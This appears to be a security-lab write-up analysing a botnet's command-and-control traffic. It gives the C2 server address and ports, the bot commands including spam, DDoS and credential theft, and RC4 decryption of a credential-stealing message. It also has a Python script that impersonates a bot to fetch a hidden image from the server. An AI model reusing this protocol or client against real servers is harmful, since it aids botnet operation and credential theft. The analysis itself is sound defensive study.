(a) server ip: 18.195.107.195

client source & dest port: 45888

server source & dest port: 5376

(b) protocol used: TCP

(c) 1.33.7

(d) spam, ddos, get_credentials, drop

(e) The encryption algorithm used is RC4. The key used to produce the key schedule is the bot id.

EXAMPLE:

cyphertext: 94 60 c8 d8 68 5b 72 c2 4e 7b 6d a7 18 e5 8a 08 66 50 22 5b 73 8d 81 a6 b9 7c 5b 06 5f 6a 63 73 4b 66 ee ee 7e f4 e8 a8 a4 5c 1a 2e a9 30 96 17 29 e2 45 c9 58 93 ce d0 d9 85 d1 fb 22 22 09 df 91 a4 58 1b 87 0b 16 bb 39 1f ed 87 5b 74 e7 0c 37 84 47 bb bd f3 2a 8e 72 08 81 45 8f df 39 e2 82 19

key: 30 32 62 65 33 31 34 33 33 64 35 63 37 35 31 33

plaintext: CREDENTIALS skype=(johndoe,P4ssw0rd) gmail=(johndoe@gmail.com,plzD0ntH4xxorMe) checksum=8e185c8c52

We used https://cryptii.com/pipes/rc4-encryption in order to decrypt the message.

(f) The payload represents a smiley bitmap image. We first did a base64 decode and then noticed that the first two bytes of the payload were similar to the bitmap used in sysarch. Add the .bmp extension and tadaaa. Find also the script to do this automatically on the next page.

PROTOCOL:

04. C: REPORT botid=210d12e9413a4e1c os=linux <END>\n

06. S: HELLO 4ca49cfec8 <END>\n

08. C: UPDATE version=1.33.7 <END>\n

09. S: UPDATE none <END>\n

11. C: COMMAND <END>\n

12. S: COMMAND spam http://www.badware.com/spam.template <END>\n

14: C: DONE <END>\n

15: S: BYE <END>\n

```
import socket
from base64 import b64decode
import time

while True:
	sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	server_addr = ("18.195.107.195", 5376)
	sock.connect(server_addr)

	sock.sendall(b'REPORT botid=210d12e9413a4e1c os=linux <END>\n')
	sock.recv(4096)

	sock.sendall(b'UPDATE version=1.33.7 <END>\n')
	sock.recv(4096)

	sock.sendall(b'COMMAND <END>\n')
	data = sock.recv(4096)

	if b'hidden' not in data:
		sock.sendall(b'DONE <END>\n')
		sock.close()
	else:
		# COMMAND hidden
		start_time = time.time()
		while time.time() - start_time < 10:
			data += sock.recv(4096)
		with open('x.bmp', 'wb') as f:
			f.write(b64decode(data[15:] + b'='))
		sock.close()
		break
```